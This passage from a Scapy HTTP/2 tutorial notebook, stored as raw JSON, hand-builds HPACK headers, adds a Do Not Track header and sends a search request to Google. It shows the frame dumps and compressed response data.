]\n      }\n     ],\n     \"prompt_number\": 131\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Now, we forget a piece in our previous queries regarding privacy: I want to add a Do Not Track header (https://tools.ietf.org/html/draft-mayer-do-not-track-00). Let's add this header into every subsequent queries. For this reason, I want to have it indexed. It is worth noting that the \\\"DNT\\\" header is not part of the HPack static table (how curious?). Finally, the value of this header is just 1. We might actually save a few bits by NOT compressing this value.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"dnt_name_str = h2.HPackLiteralString('dnt')\\n\",\n      \"dnt_val_str = h2.HPackLiteralString('1')\\n\",\n      \"dnt_name = h2.HPackHdrString(data = dnt_name_str)\\n\",\n      \"dnt_value = h2.HPackHdrString(data = dnt_val_str)\\n\",\n      \"dnt_hdr = h2.HPackLitHdrFldWithIncrIndexing(\\n\",\n      \"    hdr_name = dnt_name,\\n\",\n      \"    hdr_value = dnt_value\\n\",\n      \")\\n\",\n      \"dnt_hdr.show()\\n\",\n      \"hdrs_frm.payload.hdrs.append(dnt_hdr)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"  magic     = 1\\n\",\n        \"  index     = 0\\n\",\n        \"  \\\\hdr_name  \\\\\\n\",\n        \"   |###[ HPack Header String ]### \\n\",\n        \"   |  type      = None\\n\",\n        \"   |  len       = None\\n\",\n        \"   |  data      = 'HPackLiteralString(dnt)'\\n\",\n        \"  \\\\hdr_value \\\\\\n\",\n        \"   |###[ HPack Header String ]### \\n\",\n        \"   |  type      = None\\n\",\n        \"   |  len       = None\\n\",\n        \"   |  data      = 'HPackLiteralString(1)'\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 132\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"We are not done yet with the DNT header, though. We also need to insert it into the HPack Dynamic table, so that later lookups will find it.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"tblhdr.register(dnt_hdr)\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [],\n     \"prompt_number\": 133\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Phew! We made it! Let's see what we got so far.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"hdrs_frm.show2()\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0xc5\\n\",\n        \"  type      = HdrsFrm\\n\",\n        \"  flags     = set(['End Stream (ES)', 'End Headers (EH)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 5L\\n\",\n        \"###[ HTTP/2 Headers Frame ]### \\n\",\n        \"     \\\\hdrs      \\\\\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 2\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 7\\n\",\n        \"      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \\n\",\n        \"      |  magic     = 0\\n\",\n        \"      |  never_index= Never Index\\n\",\n        \"      |  index     = 4\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 12\\n\",\n        \"      |   |  data      = 'HPackZString(/search?q=scapy)'\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 66\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 16\\n\",\n        \"      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \\n\",\n        \"      |  magic     = 0\\n\",\n        \"      |  never_index= Never Index\\n\",\n        \"      |  index     = 32\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 165\\n\",\n        \"      |   |  data      = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 65\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 64\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 63\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 0\\n\",\n        \"      |  \\\\hdr_name  \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Literal\\n\",\n        \"      |   |  len       = 3\\n\",\n        \"      |   |  data      = 'HPackLiteralString(dnt)'\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Literal\\n\",\n        \"      |   |  len       = 1\\n\",\n        \"      |   |  data      = 'HPackLiteralString(1)'\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 134\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Oh! Just for comparison, we would have got about the same result using the helpers (modulo some safety checks that we did not do here...).\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"tblhdr.parse_txt_hdrs(\\n\",\n      \"    ''':method GET\\n\",\n      \":scheme https\\n\",\n      \":path /search?q=scapy\\n\",\n      \":authority www.google.fr\\n\",\n      \"accept-encoding: gzip, deflate\\n\",\n      \"cookie: {}\\n\",\n      \"accept-language: fr-FR\\n\",\n      \"accept: text/html\\n\",\n      \"user-agent: Scapy HTTP/2 Module\\n\",\n      \"dnt: 1\\n\",\n      \"'''.format(cookie),\\n\",\n      \"    stream_id=5,\\n\",\n      \"    max_frm_sz=srv_max_frm_sz,\\n\",\n      \"    max_hdr_lst_sz=srv_max_hdr_lst_sz,\\n\",\n      \"    is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie', ':path'],\\n\",\n      \"    should_index=lambda x: x in [\\n\",\n      \"            'x-requested-with', \\n\",\n      \"            'user-agent', \\n\",\n      \"            'accept-language',\\n\",\n      \"            'host',\\n\",\n      \"            'accept',\\n\",\n      \"            ':authority',\\n\",\n      \"            'dnt'\\n\",\n      \"        ]\\n\",\n      \").show2()\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame Sequence ]### \\n\",\n        \"  \\\\frames    \\\\\\n\",\n        \"   |###[ HTTP/2 Frame ]### \\n\",\n        \"   |  len       = 0xdc\\n\",\n        \"   |  type      = HdrsFrm\\n\",\n        \"   |  flags     = set(['End Stream (ES)', 'End Headers (EH)'])\\n\",\n        \"   |  reserved  = 0L\\n\",\n        \"   |  stream_id = 5L\\n\",\n        \"   |###[ HTTP/2 Headers Frame ]### \\n\",\n        \"   |     \\\\hdrs      \\\\\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 2\\n\",\n        \"   |      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \\n\",\n        \"   |      |  magic     = 0\\n\",\n        \"   |      |  never_index= Never Index\\n\",\n        \"   |      |  index     = 4\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 30\\n\",\n        \"   |      |   |  data      = 'HPackZString(/?gfe_rd=cr&ei=2B1IWOeIDujt8weIvIH4BQ)'\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 67\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 7\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 16\\n\",\n        \"   |      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 17\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 4\\n\",\n        \"   |      |   |  data      = 'HPackZString(en-US)'\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 66\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 65\\n\",\n        \"   |      |###[ HPack Indexed Header Field ]### \\n\",\n        \"   |      |  magic     = 1\\n\",\n        \"   |      |  index     = 63\\n\",\n        \"   |      |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \\n\",\n        \"   |      |  magic     = 0\\n\",\n        \"   |      |  never_index= Never Index\\n\",\n        \"   |      |  index     = 32\\n\",\n        \"   |      |  \\\\hdr_value \\\\\\n\",\n        \"   |      |   |###[ HPack Header String ]### \\n\",\n        \"   |      |   |  type      = Compressed\\n\",\n        \"   |      |   |  len       = 171\\n\",\n        \"   |      |   |  data      = \\\"HPackZString(['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly'])\\\"\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 135\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Let's now send our query to Google and read the answer!\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"srv_global_window -= len(str(hdrs_frm))\\n\",\n      \"assert(srv_global_window >= 0)\\n\",\n      \"ss.send(hdrs_frm)\\n\",\n      \"\\n\",\n      \"h2seq = h2.H2Seq()\\n\",\n      \"\\n\",\n      \"new_frame = None\\n\",\n      \"while isinstance(new_frame, type(None)) or 'ES' not in new_frame.flags:\\n\",\n      \"    # As previously, if we receive a ping, we ackownledge it.\\n\",\n      \"    if not isinstance(new_frame, type(None)) and new_frame.stream_id == 0:\\n\",\n      \"        if new_frame.type == h2.H2PingFrame.type_id:\\n\",\n      \"            new_frame.flags.add('A')\\n\",\n      \"            srv_global_window -= len(str(new_frame))\\n\",\n      \"            assert(srv_global_window >= 0)\\n\",\n      \"            ss.send(new_frame)\\n\",\n      \"            \\n\",\n      \"        assert new_frame.type != h2.H2ResetFrame.type_id \\\\\\n\",\n      \"            and new_frame.type != h2.H2GoAwayFrame.type_id, \\\\\\n\",\n      \"            \\\"Error received; something is not right!\\\"\\n\",\n      \"        \\n\",\n      \"    try:\\n\",\n      \"        new_frame = ss.recv()\\n\",\n      \"        new_frame.show()\\n\",\n      \"        if new_frame.stream_id == 5:\\n\",\n      \"            h2seq.frames.append(new_frame)\\n\",\n      \"    except:\\n\",\n      \"        import time\\n\",\n      \"        time.sleep(1)\\n\",\n      \"        new_frame = None\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x8\\n\",\n        \"  type      = PingFrm\\n\",\n        \"  flags     = set([])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 0L\\n\",\n        \"###[ HTTP/2 Ping Frame ]### \\n\",\n        \"     opaque    = 2\\n\",\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x8\\n\",\n        \"  type      = PingFrm\\n\",\n        \"  flags     = set(['ACK (A)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 0L\\n\",\n        \"###[ HTTP/2 Ping Frame ]### \\n\",\n        \"     opaque    = 2\\n\",\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x8\\n\",\n        \"  type      = PingFrm\\n\",\n        \"  flags     = set(['ACK (A)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 0L\\n\",\n        \"###[ HTTP/2 Ping Frame ]### \\n\",\n        \"     opaque    = 2\\n\",\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x8\\n\",\n        \"  type      = PingFrm\\n\",\n        \"  flags     = set(['ACK (A)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 0L\\n\",\n        \"###[ HTTP/2 Ping Frame ]### \\n\",\n        \"     opaque    = 2\\n\",\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x21\\n\",\n        \"  type      = HdrsFrm\\n\",\n        \"  flags     = set(['End Headers (EH)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 5L\\n\",\n        \"###[ HTTP/2 Headers Frame ]### \\n\",\n        \"     \\\\hdrs      \\\\\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 8\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 33\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 22\\n\",\n        \"      |   |  data      = 'HPackZString(Tue, 13 Dec 2016 17:36:19 GMT)'\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 70\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 69\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 68\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 83\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 66\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 75\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 64\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 72\\n\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x1640\\n\",\n        \"  type      = DataFrm\\n\",\n        \"  flags     = set(['Padded (P)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 5L\\n\",\n        \"###[ HTTP/2 Padded Data Frame ]### \\n\",\n        \"     padlen    = 40\\n\",\n        \"     data      = '\\\\x1f\\\\x8b\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xff\\\\xa4;\\\\t\\\\x97\\\\x9bF\\\\x93\\\\x7f\\\\x053/c\\\\xe9\\\\r\\\\x928t!\\\\r\\\\xe3u\\\\x92\\\\x89\\\\xe3\\\\xc4I\\\\x9c\\\\xc4\\\\xd9/\\\\xdf\\\\xfay\\\\xf5\\\\x1ah\\\\x04\\\\x19\\\\x042\\\\xb4\\\\xe6\\\\xb0F\\\\xffw\\\\xf7_lU7\\\\xa0\\\\xe6\\\\x90\\\\xaf5\\\\xcf\\\\xd3\\\\xa2\\\\xbb\\\\xba\\\\xba\\\\xeb\\\\xaej\\\\xe0\\\\xf2\\\\x89\\\\x9fz\\\\xecaK\\\\x95\\\\x90m\\\\xe2\\\\xabK\\\\xfc\\\\xabD\\\\x8cnr/\\\\xddRGU\\\\xf9\\\\r\\\\x028j\\\\xc8\\\\xd8v1\\\\x1a\\\\xe5^H7d\\\\x98f\\\\xeb\\\\xd1\\\\x9f\\\\x94d^\\\\xf8\\\\x07\\\\xcdw1\\\\xcb_\\\\x935U\\\\x95\\\\x98$kG\\\\r2\\\\x15pQ\\\\xe2_]n(#\\\\x8a\\\\x97&\\\\x8c&\\\\xccQ\\\\x19\\\\xbdg#\\\\\\\\d\\\\xa9x!\\\\xc9r\\\\xca\\\\x9c\\\\xbf\\\\xde\\\\xfc0\\\\x98\\\\xab\\\\nb\\\\x1f\\\\xd0\\\\xf7\\\\xbb\\\\xe8\\\\xd6Q\\\\xbf\\\\x13\\\\xe0\\\\x837\\\\xb0\\\\xae\\\\xdaD1\\\\x8a6\\\\xb0R>r3\\\\x92\\\\xf8Q\\\\xb2\\\\x1e\\\\xad\\\\xd3t\\\\x1d\\\\xd3\\\\xf5\\\\xc8\\\\xb8/\\\\x7f\\\\xaer\\\\x06c$\\\\xf3W^\\\\x1a\\\\xa7\\\\xd9\\\\xca0\\\\xe7\\\\xfev\\\\xb8M\\\\xd6\\\\x82\\\\x9cm\\\\x96n\\\\x1d\\\\x95\\\\xa3\\\\x01\\\\xecq\\\\x94\\\\xdc(aF\\\\x83\\\\x0e\\\\xd4\\\\x00\\\\xe9\\\\xef<6\\\\x8a\\\\xbc\\\\xb4\\\\xc2\\\\x1d\\\\xa7\\\\x80\\\\x0b:T%\\\\xa3\\\\xb1\\\\xa3\\\\xe6a\\\\x9a1o\\\\xc7\\\\x14\\\\xe8J\\\\x00\\\\x1d\\\\x8bXL\\\\xafr\\\\x8fl\\\\x1f\\\\x94\\\\x81\\\\xf2\\\\x07\\\\x05n\\\\x01\\\\x8f\\\\xa8\\\\xf2\\\\x82O\\\\xbf\\\\x1c\\\\x89\\\\xf1\\\\xcb\\\\x9c=@s\\\\xb6vI\\\\xa6\\\\x9d\\\\xadw9\\\\xcd\\\\xf6\\\\x01P8\\\\xc8\\\\xa3\\\\x0ftaX\\\\xdb\\\\xfb\\\\xe5\\\\x96\\\\xf8\\\\xb8\\\\x87\\\\x01K\\\\xb7\\\\x0bc{\\\\xaf<\\\\x896[X\\\\x8a$ly\\\\xe0\\\\xf3\\\\xf6!\\\\x8d\\\\xd6![\\\\x98\\\\xe6\\\\xf6\\\\xfeP\\\\xe0(\\\\'\\\\xb9)c\\\\xe9f1\\\\xab\\\\xcfC\\\\xee\\\\x0fH\\\\x1c\\\\xad\\\\x93E\\\\x86S\\\\x0f\\\\xc3\\\\xb5\\\\x1bj\\\\xf0\\\\xc7\\\\xdf\\\\xbbi\\\\xe6\\\\xd3\\\\xacZ,O\\\\xe3\\\\xc8W\\\\xce<\\\\xdb\\\\x9f\\\\x05\\\\xc6R\\\\xda\\\\x19,\\\\x85\\\\x93\\\\xca\\\\xb5\\\\xf5\\\\xe56\\\\xcd#\\\\x16\\\\xa5\\\\xc9\\\\x82\\\\xb80i\\\\xc7\\\\xe8\\\\x12q\\\\x98c\\\\xa0\\\\xe0.\\\\xf2Y\\\\xb80t\\\\xfd\\\\x9b\\\\xc3\\\\x7fl\\\\xa8\\\\x1f\\\\x11\\\\x85\\\\xc4\\\\xf1\\\\x1e\\\\xa6\\\\x1b\\\\xf2\\\\xd6\\\\x97\\\\x1b\\\\x92\\\\xad\\\\xa3d\\\\xc0w\\\\xb4\\\\x18N\\\\xe8fyK3\\\\x16y$.\\\\xf6\\\\n\\\\x08\\\\x0b\\\\x8a\\\\x838%l\\\\x11\\\\xd3\\\\x80\\\\x1d\\\\x0e\\\\x04\\\\x11i\\\\xf8w\\\\xbc\\\\xe7\\\\x84\\\\xf9\\\\xd4K3\\\\xc2\\\\xf7\\\\xb2K\\\\x80\\\\x18\\\\x10,\\\\x95\\\\xa8\\\\xafM\\\\xe0z\\\\xb18\\\\xd3uO\\\\x86\\\\x80\\\\xa1H\\\\x91\\\\xc7}\\\\x7fN\\\\xcdY\\\\x03$\\\\xa8\\\\x81\\\\xd8\\\\xba.\\\\x8f+\\\\x97#!\\\\xdaB\\\\xc2CPEy\\\\xdf%\\\\xb5\\\\x05\\\\xa3\\\\x97)\\\\xd0\\\\n\\\\xa3w\\\\x8b0\\\\xf2}\\\\x9a\\\\x1c\\\\x86\\\\xab\\\\x87\\\\xd0\\\\x97U\\\\x81s\\\\xfc\\\\x9f\\\\xbd\\\\xe0\\\\xa55\\\\xa6\\\\x9b\\\\x83\\\\x9b\\\\xfa\\\\x0f\\\\x1a\\\\xf35?\\\\xba\\\\xd5\\\\x86[\\\\x8d\\\\x08\\\\xe8\\\\x80l\\\\xa2\\\\xf8aA\\\\xb2\\\\x88\\\\xc4ZN\\\\x92|\\\\x00\\\\xfa\\\\x10\\\\x05KF\\\\xb6\\\\x83\\\\x10X\\\\x1b#{\\\\x07b\\\\xd3\\\\x190\\\\xb3gN&Z\\\\xf9_\\\\xefs\\\\xac{\\\\xb1\\\\xb9\\\\x85~ J\\\\xb4Y\\\\x17J\\\\x01\\\\xb7M\\\\xee/e\\\\xf9\\\\x95:\\\\x87\\\\x03\\\\x0b\\\\xec\\\\xa8+2\\\\xb0,\\\\x0f\\\"\\\\r\\\\xff\\\\xe62a3\\\\x1c\\\\xba\\\\xd3\\\\x86\\\\xef\\\\x17\\\\xc4c\\\\xd1-\\\\xc5_\\\\xb7\\\\x11(\\\\x13\\\\xf5\\\\xb5!\\\\x03\\\\x05\\\\xde\\\\x95,6\\\\x0c\\\\x0f\\\\x85\\\\x17\\\\xb7\\\\xc4\\\\x9c\\\\xa4\\\\t\\\\x05\\\\x8e\\\\xfd\\\\xb5\\\\xf1\\\\x15\\\\xb2@;\\\\xae\\\\xe4zm|\\\\xf7\\\\xadu8\\\\x0b\\\\xd2\\\\x94\\\\x956\\\\xb1\\\\xd0\\\\x959\\\\x1a\\\\n\\\\xf6)d\\\\x7f\\\\x17\\\\xc2J\\\\x83|K<\\\\nx\\\\xee2\\\\xb2=\\\\x84\\\\x96\\\\xbc\\\\xbfiI\\\\xc9\\\\x9d\\\\xa05I\\\\xb3\\\\r\\\\x89\\\\x97%\\\\x8b\\\\x96\\\\x15\\\\xda\\\\xc3YFs\\\\x05&\\\\xfbQ\\\\xbe\\\\x8d\\\\xc9\\\\xc3\\\"JP\\\\xf5\\\\x0eC\\\\x10d\\\\xc1\\\\'\\\\x94t\\\\xb7\\\\xa1\\\\x0c\\\\xc0<t\\\\x10\\\\xeap\\\\xadq\\\\xb9\\\\xa2o\\\\xd4\\\\x18qc\\\\xe0G\\\\xce\\\\xfc}\\\\x8b\\\\x97\\\\x85\\\\x8cJ\\\\x0b7\\\\xad\\\\xa3\\\\x05!>}\\\\xf9!\\\\x85n\\\\xe3\\\\x90\\\\xc6J\\\\x1ci;\\\\xfc\\\\xbb\\\\x8f\\\\xa3\\\\x1c\\\\x90\\\\xa0>\\\\n\\\\x96\\\\x85\\\\x86\\\\x96\\\\xc60\\\\xa6\\\\xc1X\\\\x17=\\\\x1b\\\\xf7:\\\\xf1\\\\x95\\\\xd0\\\\xdc\\\\xb7\\\\xe9?\\\\x0ci9\\\\x05D\\\\xad\\\\xe8\\\\x8a>\\\\x9c\\\\x81\\\\xc9\\\\x1e\\\\xceP\\\\xfa\\\\t\\\\xb9\\\\x05\\\\xcevJ\\\\xa9\\\\x1a\\\\x07\\\\xac\\\\x85\\\\x90fS\\\\xbc>\\\\xc6\\\\xe3\\\\xc3\\\\x19\\\\xcc(]\\\\x13\\\\xcc\\\\x8a\\\\xc96\\\\xa7\\\\x8b\\\\xf2G\\\\xcd\\\\x94@\\\\x9bd\\\\xf7\\\\xc6]\\\\x04\\\\xceV\\\\x80\\\\x87R\\\\xbf\\\\x07!\\\\x84f\\\\x87a\\\\x92\\\\xbaY\\\\x97\\\\n\\\\x0cY~r\\\\xbd\\\\xc30W`V)e\\\\xa1|^\\\\xeeV=n\\\\x9cz7\\\\xa5i\\\\x8cu\\\\x14\\\\x97\\\\x08(+.P\\\\xdc\\\\n*\\\\xc6\\\\xa0T\\\\x8a\\\\x99d<\\\\x858Q\\\\xeb\\\\x1a\\\\xb3$C\\\\x94=\\\\xb3\\\\xe7U\\\\x12C\\\\x17q\\\\xc6\\\\\\\\_;#\\\\xe0\\\\xc9\\\\xeb\\\\xbb\\\\xd9\\\\x00\\\\x83\\\\x8eJx\\\\xe0\\\\x10rd\\\\xb1\\\\x8a\\\\xb9\\\\xa8&M\\\\xfd]\\\\xbd|\\\\x03\\\\xa6\\\\xb8\\\\xfa\\\\xe9\\\\x8d\\\\xdfP\\\\xbay9\\\\t\\\\xec\\\\x94\\\\xc93\\\\xc5\\\\x9a\\\\x8d@V\\\\xa3yh6I\\\\xb6\\\\x9a.d^\\\\x8a2\\\\x02/\\\\x9e\\\\xb0\\\\xc5\\\\x00\\\\x97C\\\\x8f\\\\x90kC\\\\xb7\\\\xa6\\\\x92n\\\\x1a\\\\xfb\\\\x07\\\\xbai\\\\xf5\\\\x15;(\\\\x14^\\\\xa8\\\\xed&\\\\xda\\\\xd0\\\\xca\\\\xa1\\\\x10\\\\xdd\\\\'\\\\xee\\\\xf2\\\\xc44\\\\xdc\\\\xf8\\\\xfd \\\\x87Y0m\\\\x15\\\\xdf\\\\xf9{\\\\x11\\\\x9a\\\\x06f=\\\\x9a\\\\xb6\\\\\\\\w\\\\x9ez\\\\xa7\\\\xd4\\\\x1f\\\\xc7\\\\xca\\\\xd5\\\\xe7:^\\\\x80\\\\xfa\\\\xf9w\\\\'\\\\xc1a\\\\xac\\\\x05~\\\\xb3\\\\xf6\\\\xcb>:\\\\x9b\\\\x19\\\\x86{8[\\\\xdd~\\\\xebv(\\\\x07\\\\xd5\\\\xf1*\\\\xed\\\\x833\\\\x15\\\\x99X\\\\x8f\\\\xb4\\\\xbc\\\\xa7R\\\\xa1\\\\t\\\\xcc6Ae\\\\x95\\\\t2{\\\\xb5\\\\xb1\\\\\\\\\\\\xc9\\\\xf5X&\\\\xef\\\\xa4/*\\\\x1af\\\\xb3\\\\xd9\\\\xb2\\\\xe1+%k\\\\x148~\\\\xd4\\\\xfd\\\\x13\\\\xe0\\\\xe3N\\\\xf0W\\\\xe1iR\\\\xea1\\\\x86\\\\x9b\\\\xd6\\\\xea\\\\xcdM\\\\xf4\\\\xc9\\\\t\\\\x8b\\\\x92\\\\xae\\\\xc3\\\\xd9m\\\\xfa\\\\x11V\\\\xd5\\\\xf8\\\\x80\\\\x7f\\\\x80\\\\xb7\\\\xbf>x\\\\x12\\\\x0fx\\\\xa8\\\\x93U\\\\xb9\\\\x16\\\\xfb\\\\n]\\\\x9e\\\\x14\\\\x0bA\\\\x02\\\\xbao\\\\xa8\\\\xfd\\\\x18w\\\\x9c\\\\x97[\\\\x18\\\\x14\\\\xb9\\\\x11\\\\xa0(:\\\\x84\\\\xb6\\\\xf2]-\\\\x8f\\\\x1e\\\\x88\\\\x0b\\\\x9b\\\\xd2\\\\xa5K\\\\xbc\\\\x9bu\\\\x96B^S\\\\xf6\\\\x06Ap\\\\x0c)\\\\x90\\\\x89\\\\x12\\\\x8c\\\\xa1\\\\xcbFp\\\\xe0\\\\xded\\\\xf5\\\\x9a\\\\xba`\\\\xc6\\\\xbf\\\\xf3\\\\xbf\\\\x7f\\\\xe5n-_x\\\\x8e\\\\xf9B\\\\xcd\\\\x12x\\\\xa2\\\\x80>\\\\x12\\\\xe75\\\\x0c\\\\x7fR\\\\xe2\\\\x93\\\\x18s\\\\x7f?\\\\x88\\\\x01\\\\x08\\\\x95\\\\xf6\\\\xf7\\\\xda\\\\x00\\\\xa6|\\\\xbb\\\\xcdAZ\\\\x93w\\\\x97\\\\x86\\\\x85\\\\xcc\\\\xf8\\\\x84\\\\x86\\\\xa2 